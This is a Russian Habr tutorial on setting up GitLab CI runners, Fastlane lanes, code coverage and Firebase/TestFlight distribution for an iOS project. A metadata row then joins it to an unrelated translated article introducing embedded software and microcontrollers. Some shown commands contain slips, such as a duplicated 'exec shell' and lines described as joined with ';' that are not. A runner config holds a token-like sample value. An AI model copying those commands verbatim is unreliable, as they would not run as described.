В этой статье я хочу подробно рассказать о пути настройки Gitlab CI + Fastlane + Firebase + Testflight. Примеры приводятся на основе одного проекта, в котором участвовали 10 разработчиков. В конце будут описаны проблемы, с которыми мы сталкивались, и их решения.
Для кого будет полезен этот опыт? Для всех, кому нужен CI/CD и кто сидит на Gitlab. Для Github будет другая связка, например с Travis, — остальные компоненты неизменны. В нашей команде все используют Gitlab CI, Fastlane вместо голого xcodebuild для быстроты и удобства разработки, Firebase и Testflight.
Если у нас бесплатный Gitlab и мы укладываемся в лимит Firebase, то получаем бесплатное решение по настройке CI/CD.
### Описание инструментов
**Gitlab CI** — это система автоматической сборки. Она занимается в том числе и отслеживанием изменений в репозитории, что важно для наших целей. Отслеживает событие, смотрит инструкции к нему, которые вы указали в файле *.gitlab-ci.yml.* Описанная в статье работа ведётся на ноутбуках разработчиков, есть выделенные машины на MacOS — их мы регистрируем в Gitlab CI.
**Fastlane** — верхнеуровневое управление сборками с помощью команд в терминале. Для него есть [много плагинов на сайте](https://docs.fastlane.tools/plugins/available-plugins/), которые помогают выполнять задачи разного уровня: от генерации AppIcon до сборки проекта и публикации в AppStore. Плагины, как и сам Fastlane, написаны на ruby, поэтому и управлять этим инструментом придётся на ruby.
Gitlab CI посылает инструкции в виде shell-команд на раннер, в набор команд входит Fastlane. Таким образом, они взаимодействуют, выполняя каждая свои задачи.
**Firebase** — система дистрибьютинга сборок, хорошее решение для быстрой доставки сборок до ваших тестировщиков. Мы используем Firebase App Distribution — он бесплатный и без ограничений на место.
**Code coverage** — процент покрытия вашего кода тестами. Упрощённо можно привести к формуле:
*количество скомпилированных строк кода, по которым пробежали тесты / общее количество скомпилированных строк кода) \* 100%*
### [Gitlab CI] Gitlab-runner
Первое, что нам нужно сделать на пути самурая автоматизации, — это подружить наш mac с CI. Для этого на самом маке нужно выполнить пару команд:
1. [Установить](https://docs.gitlab.com/runner/install/osx.html) программу gitlab-runner на mac (можно с помощью Homebrew). [Ссылка на установку Homebrew](https://brew.sh/index_ru).
Вводим в терминал:
*brew install gitlab-runner*
2. Теперь надо зарегистрировать наш mac как раннер для CI:
*gitlab-runner register*
После этого надо будет ввести URL до гитлаба, где хостимся.
Ещё понадобится токен для CI. Его можно получить, только будучи Owner’ом или Maintainer’ом проекта в настройках проекта. В Settings должен быть раздел CI/CD. Раздел Runners.
Раздел в настройках CI/CDВводим токен туда.
Описание раннера ни на что не влияет, оно даётся только для справки.
Обратите внимание на теги раннера. Без тегов ничего не будет работать, нужен минимум один. По тегам можно фильтровать разные раннеры: например, один будет с доступом к сети и сможет выкладывать сборки, а другой — нет. Тогда можно обозначить разные теги для разных функций раннеров. Например, для одного впишем теги ios\_tests,ios\_firebase, а в другом — только ios\_tests. И сможем разделять исполнителей по типу.
Тип исполнения для нас всегда будет shell.
gitlab-runner registerЗарегистрировали наш раннер. Теперь давайте посмотрим и убедимся, что он находится в том же списке Runners в настройках проекта.
Восклицательный знак указывает, что раннер ещё не запущен и не готов к работе. Идём к следующему шагу.
Запускаем раннер. Выполняем команды в терминале:
```
gitlab-runner install
gitlab-runner start
```
Теперь наш раннер должен загореться зелёным в списке.
У раннеров есть проблема с логами. Для того чтобы мы могли просматривать полный файл логов, нужно прописать максимальный размер. Для этого проходим по пути “***~/.gitlab-runner/***”. Там будет файл ***config.toml***, в котором хранится вся информация о зарегистрированных раннерах, в нём нам нужно прописать параметр ***output\_limit***, — это максимальный размер в байтах хранимых логов в джобах. Для всех параметров есть [документация](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section), для output\_limit написано: “Maximum build log size in kilobytes. Default is 4096 (4MB)”. То есть по умолчанию — 4 мегабайта.
Если на одной машине мы регистрируем несколько раннеров, например для разных IOS-проектов, то в каждом случае изначально указываются дефолтные параметры для всего. Значит, если мы хотим увеличить объём логов, надо дописывать в каждом случае.
Всё, что будет превышать этот порог, не будет залогировано и не будет отображаться в информации о джобах. Примерно так это должно выглядеть:
```
[[runners]]
output_limit = 500000
name = "My first runner"
url = "https://gitlab-01"
token = "7qybRaWukobUuXYoiSMc"
executor = "shell"
[runners.custom_build_dir]
[runners.cache]
[runners.cache.s3]
[runners.cache.gcs]
[runners.cache.azure]
```
Нужно быть аккуратным с логами в джобах, потому что один файл логов в среднем весит 37 Мб, он занимает много места. Все логи хранятся в гитлабе и увеличивают размер репозитория. Готово, Gitlab CI теперь может работать с раннером!
### Настройка Fastlane
Установить Fastlane можно тоже через Homebrew ([документация](https://docs.fastlane.tools/getting-started/ios/setup/)). Необходимо наличие ruby в системе, обычно он установлен в macos по дефолту. Набираем:
```
brew install fastlane
```
Открываем терминал, переходим в папку с проектом с помощью **cd./path\_to\_project** и выполняем команду
```
fastlane init
```
Сгенерится папка Fastlane с нужными файлами. Можно использовать Fastlane с помощью Swift: описывать лайны на Swift, а не на неизвестном DSL, — это упростит понимание скрипта для коллег ([документация](https://docs.fastlane.tools/getting-started/ios/fastlane-swift/)).
Самый важный файл здесь — это Fastfile. Он состоит из lane. Каждый из них — отдельный сценарий Fastlane. Можно представить сам Fastlane как некий класс (в ООП), а lane — как его функции. Синтаксис довольно простой.
Разберём на примере lane для юнит-тестов. Для этого можно использовать разные плагины. Мы в компании выбрали scan как самый удобный и функциональный. Ниже пример кода. Если хотите, можете ознакомиться со всеми параметрами и их предназначением в [подробном описании по плагину scan](https://docs.fastlane.tools/actions/scan/#parameters).
```
desc "Прогон юнит тестов для определенных схем. Пример вызова: fastlane unit_test scheme:CoreTests"
lane :unit_test do |options|
scheme = options[:scheme]
scan(
scheme: scheme,
device: "iPhone 11 Pro",
fail_build: false,
clean: true,
derived_data_path: "./tests/derived",
max_concurrent_simulators: "3",
code_coverage: true,
output_directory: "./tests/#{scheme}_report/",
result_bundle: true
)
end
```
Получился lane, который запускает тесты для схемы CoreTests, которую мы берём из параметров вызова lane. Ему можно скармливать как схемы обычных таргетов, так и отдельные схемы под тесты. Передавать надо названия схем, а не сами таргеты.
В большинстве проектов один таргет, одна схема — и нет путаницы. Но при создании CI больших проектов, когда 30–40 конфигураций, а таргетов ещё больше, важно ориентироваться на правильные понятия. Таргет — это executable(buildable)-проект, у него есть описательная схема с Build Phase, Build Settings, General. Схемы — это инструкции, описывающие, как комбинировать таргеты. Например, одна схема для тестов может запускать несколько тестовых таргетов под собой. В основном плагины Fastlane работают со схемами для запуска.
Дальше для проверки работоспособности lane введём в терминал команду:
```
fastlane unit_test scheme:CoreTests
```
В ответ мы увидим логи компиляции и сами логи Fastlane. По итогу получим папку ***./tests/CoreTests\_report/*** с отчётом о тестировании в формате ***.xcresult***. По дефолту плагин scan генерирует нам ещё два файла — ***report.html & report.junit***. Первый обычно используется для показа людям, а второй — для Gitlab CI в качестве отчёта тестирования, — об этом позже в разделе про артифакты в пайплайнах.
На основе сгенерированных отчётов можно проверять, были ли зафейленные тесты и в каких местах. У нас есть отдельный [скрипт на Swift](https://gist.github.com/yawillianpsb/8773ff01cb1f9390d5a03d54de27a508), который на основе report.junit проверяет наличие проваленных тестов и говорит, в каких фреймворках.
### Code coverage
Также мы считаем покрытие тестами и на основе этих данных ограничиваем мерж в master. Это работает с помощью Fastlane. Он уже выдал нам ***.xcresult***, и на его основе мы будем получать значение покрытия.
[Плагин для Fastlane xcov](http://docs.fastlane.tools/actions/xcov/#xcov) может выдавать разные форматы отчётов. Нам нужен json, так как нас интересует сам процент покрытия, а проще всего его получить из json.
```
desc "Расчет тестового покрытия кода для указанных схем. Должно вызываться только после выполнения лейна unit_test. Пример вызова: fastlane code_coverage scheme:BaseTests"
lane :code_coverage do |options|
scheme = options[:scheme]
FileUtils.mv("../tests/#{scheme}_report/#{scheme}.xcresult", "../tests/derived/Logs/Test/#{scheme}.xcresult")
begin
FileUtils.rm_rf("../tests/#{scheme}_report/coverage_result")
rescue
puts "Folder alredy deleted"
end
xcov(
workspace: "PSB.xcworkspace",
scheme: scheme,
derived_data_path: "./tests/derived",
output_directory: "./tests/#{scheme}_report/coverage_result",
html_report: false,
markdown_report: false,
json_report: true
)
end
```
В самом начале функции есть махинации с файлом ***.xcresult*** потому, что ***xcov*** требует, чтобы он находился в определённом месте иерархии папки ***derived***. Поэтому мы переносим его в это место перед подсчётом code coverage. И желательно, чтобы папка *output\_directory* была пуста, т. к. ***xcov*** не перезатирает отчёты, а просто падает, если видит, что в этой папке уже есть файлы с таким названием.
На выходе мы получим ***report.json***, в котором содержится много информации, параметр coverage — это наш процент. Этот файл содержит информацию по общему coverage, каждому таргету, каждому файлу и каждому исполняемому скоупу.
```
{
"coverage":0.5167708082636994,
"targets":[
{
"name":"SomeFramework.framework",
"coverage":0.8335146898803046,
"files":{
}
},
{
"name":"SomeFramework2.framework",
"coverage":0.4323423536236234,
"files":{
}
}
]
}
```
Считывание ковеража в Gitlab CI динамическое. В настройках вы задаёте Regex-паттерн, который будет проверять в каждой строчке логов, подходит ли число под паттерн. Мы используем такой формат:
```
\((\d+.\d+|\d+)\%\) covered
```
С его помощью парсится вывод скрипта Swift. Подходят записи типа “(51.67%)covered”
[Наш скрипт написан на Swift](https://gist.github.com/yawillianpsb/fb51e7f1a957e903e27235e2864d2035). Он нужен только для того, чтобы вывести coverage в нужном формате. Всё, что от него требуется, — чтобы какая-нибудь рандомная строчка в коде не попала под это regexp.
Мы используем .junit, потому что это стандартный формат отчётов о тестировании в Gitlab CI. Внутри пайплайнов можно увидеть, сколько и какие тесты прошли, а какие нет, информацию по ним, — для этого необходим отчёт junit. .xcresult, который в себе содержит намного больше информации, включая code coverage.
Сама настройка Regex находится в настройках проекта **Settings -> CI/CD -> General pipelines**, в графе **Test coverage parsing**. Подробнее про Regex можно почитать [в этой статье.](https://habr.com/ru/post/545150/) Там же есть ссылка на сайты, в которых можно протестировать работу формулы (например, [тут](https://regex101.com/)).
### Firebase deploy
Теперь устанавливаем Firebase CLI, — это управление сборками в Firebase из командной строки. В обычном режиме разработчик идёт на сам сайт Firebase, закидывает туда сборки и управляет проектом, но это можно сделать с помощью командной строки. Для этого нам и нужен Firebase.
Мы используем бесплатный Firebase App Distribution (в Firebase есть другие платные фичи, которые не относятся к CI/CD).
Как настроить Google Firebase: [документация](https://firebase.google.com/docs/app-distribution/ios/distribute-fastlane)
Вот краткий план:
1. Устанавливаем плагин к Fastlane — Firebase.
2. Устанавливаем Firebase CLI.
3. Получаем токен учётной записи, у которой есть доступ в проект, куда мы будем отправлять наши сборки.
4. Вот lane, который будет отправлен в Firebase.
```
def archive_project(scheme, forTestflight, filename)
if forTestflight
build_ios_app(
workspace: "PSB.xcworkspace",
configuration: scheme,
scheme: scheme,
silent: true,
clean: true,
output_directory: "./ipas",
output_name: "#{filename}.ipa",
export_options: "./ExportOptions.plist"
)
else
build_ios_app(
workspace: "PSB.xcworkspace",
configuration: scheme,
scheme: scheme,
silent: true,
clean: true,
output_directory: "./ipas",
output_name: "#{filename}.ipa",
export_method: "development",
include_bitcode: false
)
end
end
```
Функция умеет собирать сборку для публикации в AppStore, для тестировщиков, для общего пользования. Они отличаются кастомными параметрами в ExportOptions. При указании export method: “development” ExportOptions генерируется автоматически. Для production ExportOptions надо описывать вручную. Можно приложить ссылки для production- и development-опций экспорта.
```
def send_to_firebase(ipa_name, scheme)
firebase_apps = {
"Dev" => "1:1234567890:ios:0a1b2c3d4e5f67890",
"PreProd" => "1:0987654321:ios:0a1b2c3d4e5f67890"
}
firebase_app_distribution(
app: firebase_apps[scheme], # для разных схем разные айди
# groups: "ВСЕМ",
# testers: "tester@gmail.com",
ipa_path: "./ipas/#{ipa_name}.ipa",
firebase_cli_path: "/usr/local/bin/firebase",
firebase_cli_token: "ваш токен",
debug: true
)
end
```
Дальше можно объединить это в один lane или сделать отдельный для каждого действия, чтобы CI мог дёргать эти функции в каком угодно порядке. У нас это разделено.
```
desc "Собрать проект с указанной схемой. Пример вызова: fastlane archive_project scheme:\"Dev\" filename:\"dev_1.2.3\""
lane :archive_project do |options|
scheme = options[:scheme]
filename = options[:filename]
archive_project(scheme, false, filename)
end
desc "Собрать релизную сборку проекта. Пример вызова: fastlane archive_beta scheme:\"Prod\" filename:\"release_1.2.3\""
lane :archive_beta do |options|
scheme = options[:scheme]
filename = options[:filename]
archive_project(scheme, true, filename)
end
desc "Отправить уже собранный архив ipa в фаербейз с указанным названием файла. Пример вызова: fastlane distribute_to_firebase filename:\"dev_1.2.3\" scheme:\"Dev\""
lane :distribute_to_firebase do |options|
filename = options[:filename]
scheme = options[:scheme]
send_to_firebase(filename, scheme)
end
```
Всё, что мы написали на Fastlane, нужно проверять с помощью консольных команд. Например, для публикации в Firebase можно выполнить две команды подряд:
```
fastlane archive_project scheme:“Dev” filename:“dev_1.2.3”
fastlane distribute_to_firebase filename:“dev_1.2.3” scheme:“Dev”
```
Эти же строки можно объединить в одну для удобства, поставив между ними “;”
```
fastlane archive_project scheme:“Dev” filename:“dev_1.2.3”
fastlane distribute_to_firebase filename:“dev_1.2.3” scheme:“Dev”
```
Для публикации используются git tags. Например, если мы для коммита запушим тег dev\_1.72.44.TASK-123, то в Firebase отправится сборка с номером 1.72.44.TASK-123. Сами вызовы с указанием версии идут из gitlab-ci.yml. Если что-то пойдёт не так, джоба зафейлится и разработчику придёт уведомление об этом. Посмотрев на логи джобы, он увидит причину: например, проект удалили или что-то ещё серьёзное случилось. Firebase позволяет публиковать приложения с одинаковой версией.
### Testflight deploy для itunesconnect и отправки в AppStore
Testflight — это система обработки сборок от Apple. В ней можно делать сборки для тестировщиков, а также релизить протестированные сборки. По схеме CI/CD она будет на уровне с Firebase, т. к. они взаимозаменяемы, только Firebase более удобен для дистрибуции тестовых сборок. А Testflight мы используем для релиза итоговых сборок для пользователей.
Firebase — для теста, потому что удобнее и быстрее. Testflight — для production, потому что релизить можно только через неё.
Мы загружаем наш артефакт в ItunesConnect, и сама система предоставляет нам возможность отправить его сразу в Testflight. Testflight даёт возможность скачивать приложения, над которыми работаем, прямо на айфон.
Основные этапы публикации в AppStore те же. Нам нужно собрать архив и отправить его, только теперь отправляем в AppStore. Тестировщик скачает Testflight и получит доступ к тому, что мы задеплоили.
Следующий этап — изменение версии сборки, чтобы мы могли разные сборки публиковать для тестировщиков. Например, разные команды делают сборки под себя и будут отличать их билд-версиями. Так вот, AppStore не позволит загрузить сборки с одинаковыми версиями, поэтому нужно автоматизировать изменение версии проекта.
Есть небольшой lane для изменения версии и номера билда с помощью Fastlane.
```
desc "Меняет версию проекта на новую с валидацией самой версии. Допускается версия вида 1.56.45 или 1.34.21(12), где 12 - номер билда. Пример вызова: fastlane update_version version:\"1.46.45\""
lane :update_version do |options|
git_tag_version = options[:version]
puts git_tag_version
major = ""
minor = ""
patch = ""
build = ""
errorMsg = "Wrong version number: \"#{git_tag_version}\"!\nPlease use versioning like {major_number}.{minor_number}.{patch_number}({build_number})\n or {major_number}.{minor_number}.{patch_number}"
patternWithBuild = /\A(\d+).(\d+).(\d+)\((\d+)\)\z/
pattern = /\A(\d+).(\d+).(\d+)\z/
if match = patternWithBuild.match(git_tag_version)
major, minor, patch, build = match.captures
elsif match = pattern.match(git_tag_version)
major, minor, patch = match.captures
else
UI.user_error!(errorMsg)
end
if major.to_s.empty? || minor.to_s.empty? || patch.to_s.empty?
UI.user_error!(errorMsg)
end
if build.to_s.empty?
build = "1"
end
version = "#{major}.#{minor}.#{patch}"
increment_version_number_in_plist(version_number: "#{version}" , target: "PSB")
increment_version_number_in_plist(version_number: "#{version}", target: "notificationService")
increment_build_number_in_plist(build_number: "#{build}", target: "PSB")
increment_build_number_in_plist(build_number: "#{build}", target: "notificationService")
end
desc "Меняет версию проекта на новую без валидации самой версии. Пример вызова: fastlane force_update_version version:\"1.46.45_TASK\""
lane :force_update_version do |options|
git_tag_version = options[:version]
puts git_tag_version
increment_version_number_in_plist(version_number: "#{git_tag_version}" , target: "PSB")
increment_version_number_in_plist(version_number: "#{git_tag_version}", target: "notificationService")
end
```
Тут описаны два lane: один валидирует версию, чтобы она подходила для публикации в AppStore, второй может подставить в версию что угодно (ну или почти что угодно). Первый мы используем только для Testflight, а второй — для Firebase, т. к. Firebase позволяет писать буквы в версию и не придирчив к повторам.
Ещё нам понадобится сам lane публикации в AppStore:
```
desc "Отправить уже собранный архив ipa в Testflight с указанным названием файла. Пример вызова: fastlane distribute_to_testflight itunes_username:\"email@gg.ru\" filename:\"release_1.2.3\""
lane :distribute_to_testflight do |options|
username = options[:itunes_username]
filename = options[:filename]
puts "username #{username} and filename #{filename}"
if username.to_s.empty?
UI.user_error!("Need to pass ITUNES_USERNAME to testflight lane")
end
upload_to_testflight(
username: "#{username}",
ipa: "./ipas/#{filename}.ipa",
skip_waiting_for_build_processing: true
)
end
```
Lane несложный, поэтому тут нечего дополнять, просто передаём нужные параметры в плагин Fastlane. Порядок вызова lane для публикации в AppStore прост:
```
fastlane update_version version:“$right_version”
fastlane archive_beta scheme:${scheme} filename:${filename}
fastlane distribute_to_testflight
itunes_username:”${ITUNES_USERNAME}” filename:${filename}
```
Здесь $right\_version — это желательно валидный номер версии. Если он будет невалидным, то lane провалится и на этом путь публикации закончится. ${ITUNES\_USERNAME} — это email юзера, от имени которого мы будем публиковать архив в Testflight.
### [Gitlab CI].gitlab-ci.yml
Теперь нужно описать правила, по которым у нас будут происходить взаимодействия ивентов в Gitlab и написанных скриптов. И имя ему — gitlab-ci.yml. Этот файл задаёт стандарт сборки и проверки приложения.
Это тот самый файл, который запускает все lane, считает нужные параметры, управляет артефактами. Один из его минусов(а может, и плюсов) — скрипты запускаются на bash. Поэтому переиспользование тут не совсем обычное. Об этом расскажу позже, но сначала ознакомимся с простыми примерами файла:
```
stages:
- test_stage
test_job:
stage: test_stage
tags:
- ios_tests
script:
- echo "Hello world"
```
Если мы запушим в репозиторий файл .gitlab-ci.yml с таким содержимым, то у нас будут на каждый ивент гитлаба создаваться джобы, которые будут запускать скрипт *echo “Hello world”.*
Сам по себе пайплайн прост:
Исполняемый код может находиться в трёх стадиях, они указаны по порядку:
* before\_script
* script
* after\_script
Здесь мы и будем писать вызовы скриптов Fastlane, Swift и что душе угодно.
**Эксперименты с .gitlab-ci.yml**
Приведу немного примеров из личного опыта, чтобы объяснить, как мы настраиваем пайплайны под свои запросы.
Попробуем посмотреть, что будет с [таким файлом CI](https://gist.github.com/yawillianpsb/e8f6558d32264dc049fa114cc448070c), в котором 5 стадий и 8 джоб, и разберём, как это будет работать.
Тут есть несколько правил:
1. Пайплайны (pipeline) состоят из стадий (stage), а они в свою очередь — из джоб (job)
2. Каждая джоба может состоять только в одной стадии
3. Каждая стадия может содержать нескольких джоб, которые запускаются последовательно и параллельно. Значит, если у вас есть несколько раннеров, то *test\_job1* и *test\_job2* стартанули бы почти одновременно, не ожидая завершения друг друга
4. Стадии идут только последовательно, каждая перед стартом ожидает завершения всех джоб из предыдущей стадии
5. Если при выполнении джобы вызвалась команда *exit* с ненулевой ошибкой, то джоба фейлится: *exit 0* означает, что джоба успешно завершилась; любая другая цифра будет обозначать какую-то ошибку
6. Если в стадии одна из джоб зафейлилась без флага *allow\_failure: true*, то следующая стадия не стартует. Для *test\_job3* этот флаг включёен, а для *test\_job5* нет
7. Если в стадии несколько джоб и одна из них зафейлилась, то другие джобы стадии продолжают выполнение
8. В разных джобах можно писать coverage. Например, в джобе 1 мы написали coverage 0%, в джобе 2 получили 10%, и в джобе 4 написали 100%. Тогда общий coverage пайплайна будет считаться как среднее среди всех джоб (0 + 10 + 100) / 3. Это можно использовать, например, для мультимодульности. Создать стадию тестов и на этой стадии — по одной джобе на каждый фреймворк. Но можно сделать, как мы в компании, на уровне Xcode. У нас есть выделенная схема для юнит-тестов всех фреймворков, в которую добавлены все тестовые таргеты. Результатом тестирования этой схемы являются прогнанные тесты в этих таргетах и средний coverage по ним
9. Coverage учитывается, даже если джоба зафейлилась
10. В джобе 8 выставлен флаг *when: on\_failure*, — это значит, что джоба выполнится только в том случае, если пайплайн зафейлился. В случае если пайплайн прошёл без проблем, эта джоба не запустится. Такой флаг полезно ставить, например, в джобы, которые оповещают о зафейленном пайплайне
11. Порядок стадий в пайплайне зависит от их порядка в файле CI в фазе *stages:* первыми будут выполняться те, что находятся выше по порядку. Джобы — так же: чем выше вы их описали в файле, тем раньше они выполнятся в пайплайне
В файле CI есть подобие наследования — так называемые *extends:*. Мы создаем шаблонную джобу, которую будем расширять нужными нам свойствами.
Важное замечание: если мы в шаблоне указали какой-то параметр, например *script* или *tags*, а не в джобе, которая расширяет этот шаблон, то если мы в джобе напишем собственный script, то исполнятся будет только тот, что написан в джобе. Переопределение полностью отменяет свойство шаблона. Например, мы хотим в конце каждой джобы выполнять какое-то действие, тогда можем это прописать в *before\_script* шаблона, а в самих джобах исполняемые команды писать в фазу *script*.
А теперь реальный пример того, как мы гоняем тесты и считаем coverage. Рассмотрим [***.gitlab-ci.yml*** такого вида](https://gist.github.com/yawillianpsb/f4cbd38cccabe0d2f4b607735123d893) — сверху вниз по каждому пункту.
#### Variables
В файле .gitlab-ci.yml есть раздел с переменными, где мы можем задать кастомные свойства для всего файла. Также стоит учитывать, что помимо параметров, которые укажете в самом файле, вам будет доступен целый набор [Predefined CI/CD variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) и набор кастомных параметров, указанных в настройках проекта (Settings ⃗⃗→ CI/CD → Variables). Все три категории свойств будут доступны во всех ваших описываемых джобах внутри .gitlab-ci.yml.
#### Stages
Здесь мы указываем набор стадий для пайплайнов, пока что они просто обозначают, как джобы будут группироваться внутри пайплайнов.
#### Jobs
Расскажу подробнее про структуру джоб:
* extends — нужно, чтобы переиспользовать базовые вещи;
* stage — указываем, в какой стадии участвует джоба. Внутри одной стадии они выполняются параллельно;
* before script, script, after script — набор команд Shell в том порядке, в котором исполняются;
* only/except — описывают, под какие правила попадает / точно не попадает джоба;
* tags — теги, которыми мы пометили раннер, когда регистрировали его;
* allow failure — свойство, которое разрешает / не разрешает зафейленную джобу, здесь можно указывать допустимые exit codes;
* artifacts — будем использовать для хранения артефактов джобы.
### Как дебажить
Gitlab-runner предоставляет возможность запускать локально ваши джобы для их тестирования перед пушем в репозиторий, что упрощает жизнь. Для этого нужно выполнить команду
```
gitlab-runner exec shell exec shell test_job1
```
Команда выполнялась для [такого gitlab-ci.yml](https://gist.github.com/yawillianpsb/e8f6558d32264dc049fa114cc448070c).
У такого дебаггинга есть минус: вам не будут доступны реальные глобальные переменные по типу CI\_JOB\_ID, CI\_PIPELINE\_ID, т. к. эти параметры передаются Gitlab на раннер. Но такой дебаггинг вполне сгодится для проверки работоспособности локальных скриптов. Вот ещё пример вывода глобальной переменной
### Итого
1. Мы научились настраивать Gitlab-runner на машине
2. Разобрались, как работает Fastlane
3. Можем написать lane, которые помогут: протестировать, собрать информацию о code coverage, собрать архив и отправить его в Firebase или Testflight
Ещё раз повторим действия в командной строке:
1. Устанавливаем gitlab-runner
`brew install gitlab-runner`
2. Делаем mac раннером для CI
`gitlab-runner register`
3. Запускаем раннер
`gitlab-runner install`
`gitlab-runner start`
4. Устанавливаем Fastlane
`brew install fastlane`
5. Папка Fastlane с нужными файлами
`fastlane init`
6. Проверим работоспособность lane
`fastlane unit_test scheme:CoreTests`
7. Публикуем в Firebase
`fastlane archive_project scheme:“Dev” filename:“dev_1.2.3”`
`fastlane distribute_to_firebase filename:“dev_1.2.3” scheme:“Dev”`
8. Вызов lane для публикации в AppStore
`fastlane update_version version:“$right_version”`
`fastlane archive_beta scheme:${scheme} filename:${filename}`
`fastlane distribute_to_testflight`
`itunes_username:”${ITUNES_USERNAME}” filename:${filename}`
9. Локально запустим джобы, чтобы тестировать их перед пушем в репозиторий
`gitlab-runner exec shell exec shell test_job1`
Использование Gitlab CI + Fastlane + Firebase + Testflight обходится недорого. Можно иметь 2–3 машины и настроить работу.
Работа команды выглядит так:
1. Разработчик сделал задачу, написал на неё тесты и отправил МР на код-ревью.
2. Внутри МР CI/CD считает, не слишком ли низкий code coverage, и проверяет, собирается ли проект.
3. Отправив MP на ревью, разработчик ставит тег на последний коммит, например dev\_1.33.22.TASK-123 cicd .
4. Он готовит сборку и отправляет ее в Firebase.
5. Из Firebase тестировщик скачивает сборку. Проверяет, получает ревью и нужные апрувы.
Мы готовы мержить: держим код в master и на ней запускается пайплайн обновления значения code coverage, чтобы уже другие MP не попадали в master с понижением.
Как видите, большую часть работы делает за нас Gitlab CI, а нам главное — расставить триггеры в правильных местах и настроить наш процесс сборки.
Документируйте настроенный CI/CD, научите всех пользоваться им, предлагайте идеи по автоматизации процессов и спрашивайте ваших коллег о болях. Возможно, пара скриптов, встроенных в CI/CD, сэкономят деньги для бизнеса или нервы ваших коллег.
Задавайте свои вопросы в комментариях! | https://habr.com/ru/post/583532/ | null | ru | null |
# Разработка встроенного ПО: введение
*Привет, Хабр! Представляю вашему вниманию перевод статей Chris Svec, оригинал [здесь](https://embedded.fm/blog/ese101). Публикуется с разрешения автора по лицензии [CC-A-NC-ND](https://creativecommons.org/licenses/by-nc-nd/3.0/).*
Embedded software engineering 101: введение
===========================================
Я запускаю цикл статей по обучению разработке встроенного программного обеспечения. Мы начнем с описания простого микроконтроллера, и после того, как Вы поймете, как он работает, разовьем это до понимания работы относительно сложных систем, таких как Fitbit или Nest.
Я назвал эту серию Embedded Software Engineering 101, и она начинается с этой недели прямо здесь в этом блоге.
Продолжайте читать для дальнейших объяснений и подробностей.
*Одни строительные блоки на других строительных блоках.*
Я работаю со встроенными системами и разрабатываю микросхемы уже более 14 лет. Мне нравятся встроенные системы — железо, софт и ограничения, которые связывают их вместе.
Любительская электроника и такие идеи, как [Arduino](https://www.arduino.cc/), [Adafruit](https://www.adafruit.com/) и [Sparkfun](https://www.sparkfun.com/) дали возможность легко накидать что-то из железа и софта за выходные (или месяц, или семестр), создав что новое, интересное и может быть даже полезное.
Это здорово! Предоставление людям возможности созидать — изумительная штука; если бы я хотел выражаться выспренно, то с придыханием назвал бы это «демократизирующей технологией».
Большая часть любительских проектов единовременные. Вы собираете нечто, делаете это настолько хорошим, насколько хватает времени или энергии, и двигаетесь дальше.
Я провел свою карьеру на противоположном конце спектра — создавая продукцию, которая выпускается в сотнях тысяч или миллионах или больше экземпляров — и это требует совсем другого образа мышления и системного подхода.
Я хочу учить людей, как писать встроенное ПО для такого рода систем. Я уже давно вынашивал эту идею курса/руководства/книги/блога «Embedded Software Engineering 101», и благодаря блогу Embedded.fm начинаю ее реализацию сейчас.
Я человек фундаментального типа, так что мой план — начать с основ, с простого описания простого микропроцессора, и развивать эту основу, пока вы не поймете, как работает относительно сложная встроенная система.
Моя цель — чтобы к концу этого цикла вы могли разобраться как работает Fitbit, термостат Nest или подобная встроенная система. Вы сможете начать работать со встроенными программными системами используя профессиональный опыт.
Embedded Software Engineering 101 предназначен для:
1. Выпускников вузов в сфере компьютерных наук, компьютерной инженерии или электроники, интересующихся встроенными системами.
2. Электронщиков-любителей, желающих более глубоко понять, как работает их система на Arduino, и узнать, как им двигаться дальше (и нужно ли!).
3. Профессиональных программистов без опыта со встроенными системами, желающих сместиться вниз по технологическому стеку и понимать, как они работают.
4. Инженеров, работающих со встроенными системами и желающих понять, чем занимаются их коллеги-программисты.
Что я имею в виду, говоря, что я «человек фундаментального типа»? [Ричард Фейнман](https://ru.wikipedia.org/wiki/Фейнман,_Ричард_Филлипс), физик-обладатель Нобелевской премии и отличный рассказчик, выразил это наилучшим образом: «Чего не могу воссоздать, того не понимаю».
Так вот, я не Фейнман, но я уверен, что лучший способ понять систему — это начать с основ. Вооруженные этим пониманием, вы сможете создавать простые встроенные системы с простым софтом. И поняв сначала очень простую программу, вы сможете развивать это, создавая более сложное ПО по мере роста опыта.
Основы в первую очередь — это конечно только мое личное убеждение. Множество людей сделали полезные штуки с Ардуино без понимания чего бы то ни было из основ. Этот цикл статей для тех, кто все-таки хочет понимать основы и все, что на них построено.
Конечно мы должны задаться вопросом — где правильный уровень чтобы начать с этих самых «основ»? Транзисторы и логические вентили? Нет, это слишком низкий уровень для старта со встроенным ПО. Подключение к распространенным датчикам? Нет, это слишком высокий уровень, требуется слишком много знаний чтобы начать с этого.
Я думаю правильный уровень основ это встроенный микропроцессор. Не обязательно понимать физику или электронику чтобы использовать встроенный микропроцессор, также не обязательно быть экспертом в программировании.
Так что с этого мы и начнем в следующей статье.
Предупреждение о предвзятости: в прошлой жизни я был архитектором/разработчиком процессоров. Начать этот цикл с понимания как работает ЦПУ может быть не лучшим способом для понимания встроенных систем, но именно так работает мой мозг. Обязательно попробуйте другие курсы/руководства и т.д., если не станете понимать этот после нескольких статей.
Embedded software engineering 101: основы микроконтроллера
==========================================================
Мы начнем наше путешествие Embedded Software Egineering 101 со скромного микроконтроллера. Микроконтроллер (или микропроцессор) это основной строительный блок всех вычислительных систем, встроенных и прочих.
МК кажется довольно сложным, но он состоит из трех простых вещей: инструкции, регистры и память. Инструкции это те штуки, которые микроконтроллер знает как выполнять. Простой МК умеет выполнять не так уж много — у него может быть например 20 или 30 инструкций. В дальнейшем в этом цикле я буду использовать микроконтроллер MSP430 от Texas Instruments, у которого только 27 инструкций.
*Просто фотография МК (TI MSP430F5529)*
Эти 27 инструкций — единственное, что MSP430 умеет делать. Он может сложить два числа, вычесть из одного числа другое, переместить числа с одного места в другое или выполнить 24 другие простые операции. 27 операций может показаться недостаточно чтобы сделать что-либо полезное, но на самом деле их хватит с избытком, чтобы выполнить любую мыслимую программу.
Хорошо, значит у микроконтроллера есть инструкции, которые делают что-то с числами. Но где находятся эти числа? Регистры и память! Инструкции оперируют числами, которые хранятся в регистрах и памяти.
